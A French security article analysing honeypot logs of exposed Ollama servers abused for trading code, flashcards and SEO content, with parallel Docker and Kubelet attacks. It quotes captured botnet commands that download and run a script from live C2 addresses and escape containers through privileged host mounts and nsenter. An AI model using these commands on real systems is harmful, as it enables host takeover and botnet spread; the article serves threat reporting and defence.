Retour à l'accueil

Abus d'Ollama : Trading et Fermes de Contenu

L'Article Analyse les Logs de Honeypots d'Instances Ollama Ouvertes : Reconnaissance, health-check, Exploitation pour Trading, Éducation et Contenu SEO. Attaques Parallèles sur Docker et Kubelet avec Techniques d'Évasion Décrites. IOC, MITRE ATT&CK et Mesures de Protection Fournies.

Ollama Sous Attaque : Bots Volent GPU pour Trading
Advertisement 728x90

Abus d'Ollama : des bots de trading aux fermes de contenu

Des instances Ollama ouvertes sont exploitées pour générer du code stratégique de trading, produire des contenus éducatifs et automatiser la création de textes SEO. Des pièges (honeypots) en Allemagne, aux États-Unis et en Russie ont enregistré des requêtes pour des modèles populaires comme llama3.1:8b et qwen2.5:7b. Les attaquants effectuent des reconnaissances, des vérifications de santé et des tests parallèles d'API avant d’exploiter les GPU d’autrui.

Reconnaissance et vérification de disponibilité

Les scanners commencent par des requêtes basiques pour valider le fonctionnement de l’instance. Les endpoints courants incluent :

  • GET /api/tags — liste des modèles disponibles via l’API Ollama.
  • GET /v1/models — liste des modèles compatible OpenAI.
  • GET /api/version — version du serveur.

Sur un nœud américain, 244 requêtes /v1/models et 58 requêtes /api/tags ont été enregistrées en une semaine. Un seul IP a effectué une vérification de santé toutes les 20 minutes en utilisant POST /v1/chat/completions avec le payload {"messages": [{"role": "user", "content": "health-check"}]} — répété 244 fois.

Google AdInline article slot

L’énumération des modèles suit un schéma prévisible : envoi d’un simple prompt comme Hello ou hi à des modèles tels que llama3.1:8b, qwen2.5:7b, codellama:13b, mistral:7b, deepseek:33b et llama3.2. Si un modèle répond, l’instance est marquée comme utilisable.

Exploitation : types de tâches

Après la reconnaissance, les tâches réelles débutent. Trois catégories ont été observées.

Bots de trading

Un pipeline sur un nœud américain génère du code stratégique de trading après une vérification de santé réussie :

Google AdInline article slot
{
  "messages": [{
    "role": "user",
    "content": "Écris du code Python 3 pour :\ndef backtest_strategy(prices: list[float]) -> float:\nUtilise un SMA rapide de 10 périodes et un SMA lent de 50 périodes sur les prix, position longue quand le rapide > lent, plat/ court quand le rapide < lent, et retourne le PnL total sous forme de float. Output uniquement cette fonction, sans texte supplémentaire."
  }]
}

La requête a été répétée 12 fois sur trois modèles via /api/chat, /v1/chat/completions et /v1/completions. Cela reflète une démarche systématique visant à obtenir gratuitement des ressources de calcul pour le trading algorithmique.

Proxy pour clients LLM

Une session avec un utilisateur chinois impliquait un client GLM qui transmettait l’intégralité de l’historique de conversation, y compris les prompts système et les réponses précédentes. Une requête pour des flashcards Anki sur Les Contradictions de la dialectique de Mao : 做一个学习毛泽东的矛盾论 有30张卡片的anki牌组. Test final : 你是什么模型 (Quel modèle es-tu ?).

Fermes de contenu

Sur un nœud russe, des prompts structurés pour du contenu SEO ont été utilisés :

Google AdInline article slot
Réponds à la question suivante de manière complète et détaillée.

Question : Comment les réseaux de neurones et l'apprentissage profond ont-ils transformé l'IA ?

RÈGLES :
- Donne une réponse complète et détaillée.
- NE REPPETE PAS la question.
- NE DONNE PAS d'introduction.
- TA DERNIÈRE ligne doit être exactement : ##ANSWER_DONE##

Réponse :

Le mot-clé ##ANSWER_DONE## est utilisé par les parseurs pour détecter la fin de la réponse. Les sujets portent sur l’apprentissage automatique et l’évolution de l’IA. Plusieurs modèles ont été interrogés en parallèle, avec une approche en chaîne de raisonnement appliquée aux questions.

Attaques sur l'infrastructure parallèle

Les scanners Ollama s’associent souvent à des attaques contre Docker (port 2375) et Kubelet (port 10250).

Exploits Docker

Le botnet docker.selfrep (C2 : 31.57.216.121) exécute :

{
  "Cmd": ["sh", "-c",
    "(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}

Un botnet plus dangereux (C2 : 45.194.92.39) utilise des conteneurs privilégiés :

{
  "Image": "alpine",
  "Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
  "HostConfig": {
    "Binds": ["/:/host"],
    "Privileged": true
  }
}

Alternative : évasion via nsenter :

{
  "Cmd": ["nsenter", "--target", "1",
    "--mount", "--uts", "--ipc", "--net", "--pid",
    "--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}

Reconnaissance Kubelet

Les requêtes vers /api/v1/pods, /healthz et /update_weights_from_tensor (spécifique à l’IA) indiquent des tentatives pour localiser des pipelines d’apprentissage automatique.

Points clés

  • Les instances Ollama ouvertes sont intégrées à des pipelines de trading, d’éducation et de SEO sans authentification.
  • Les vérifications de santé et l’énumération des modèles (llama3.1, qwen2.5, etc.) sont des comportements standards des scanners automatisés.
  • Les attaques Docker combinent l’évasion de conteneur via nsenter avec des montages privilégiés et une obfuscation en base64.
  • Des marqueurs comme ##ANSWER_DONE## et health-check aident à repérer les fermes de bots.
  • La protection nécessite un lien local, un proxy inversé et une surveillance du trafic.

— Editorial Team

Advertisement 728x90

Lire ensuite